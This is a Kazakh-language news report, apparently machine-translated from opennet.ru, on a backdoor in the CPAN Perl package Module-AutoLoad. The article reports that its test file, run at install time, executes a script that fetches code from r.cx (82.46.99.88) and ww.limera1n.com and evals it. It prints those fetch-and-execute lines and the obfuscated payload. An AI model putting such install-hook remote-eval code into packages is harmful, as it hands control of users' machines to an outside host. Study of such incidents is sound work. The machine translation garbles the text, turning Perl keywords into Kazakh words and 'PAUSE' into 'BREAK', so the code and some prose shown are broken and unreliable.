Module-AutoLoad Perl бумасында зиянды код анықталды

CPAN каталогы арқылы таратылатын Perl бумасында Модуль-Автожүктеу, CPAN модульдерін жылдам жүктеуге арналған, анықталды зиянды код. Зиянды кірістіру болды табылды сынақ кодында 05_rcx.t, ол 2011 жылдан бері жөнелтіледі.
Бір қызығы, күмәнді кодты жүктеу туралы сұрақтар туындады StackOverflow 2016 жылы.

Зиянды әрекет модульді орнату кезінде іске қосылған сынақ жиынтығын орындау кезінде үшінші тарап серверінен кодты жүктеп алу және орындау әрекетіне (http://r.cx:1/) дейін жетеді. Бастапқыда сыртқы серверден жүктелген код зиянды емес деп болжанады, бірақ қазір сұрау орындалу үшін кодтың өз бөлігін қамтамасыз ететін ww.limera1n.com доменіне қайта бағытталады.

Жүктеп алуды файлда ұйымдастыру үшін 05_rcx.t Келесі код пайдаланылады:

менің $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
менің $try = `$^X $prog`;

Көрсетілген код сценарийдің орындалуына себепші болады ../contrib/RCX.pl, оның мазмұны жолға дейін қысқартылған:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88 пайдаланыңыз.":1″};

Бұл сценарий жүктеледі абдырап қалды қызметін пайдалану perlobfuscator.com сыртқы r.cx хостының коды (82.46.99.88 таңба кодтары «R.cX» мәтініне сәйкес келеді) және оны бағалау блогында орындайды.

$ perl -MIO::Socket -e'$b=жаңа IO::Socket::INET 82.46.99.88.":1″; <$b> басып шығару;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Қаптаманы ашқаннан кейін келесі әрекеттер орындалады: код:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}" /iJailBreak алу
";evalor return warn$@while$b;1

Проблемалық бума қазір репозиторийден жойылды. BREAK (Perl Authors Upload Server) және модуль авторының тіркелгісі бұғатталған. Бұл жағдайда модуль әлі де қалады қол жетімді MetaCPAN мұрағатында және cpanminus сияқты кейбір утилиталарды пайдаланып MetaCPAN жүйесінен тікелей орнатуға болады. Бұл атап өтілдіпакеттің кең таралмағаны.

Талқылау қызықты жалғанған және оның «r.cx» сайты бұзылғаннан кейін зиянды код енгізілгені туралы ақпаратты жоққа шығарған модуль авторы және оның жай ғана көңіл көтеріп жүргенін түсіндірді және perlobfuscator.com сайтын бір нәрсені жасыру үшін емес, көлемін азайту үшін пайдаланды. кодты өзгерту және оны алмасу буфері арқылы көшіруді жеңілдету. Функция атауының «botstrap» таңдауы бұл сөздің «ботқа ұқсайтыны және bootstrap-тен қысқа» екендігімен түсіндіріледі. Сондай-ақ, модуль авторы анықталған айла-шарғылар зиянды әрекеттерді жасамайды, тек TCP арқылы кодтың жүктелуін және орындалуын көрсетеді деп сендірді.

Ақпарат көзі: opennet.ru

пікір қалдыру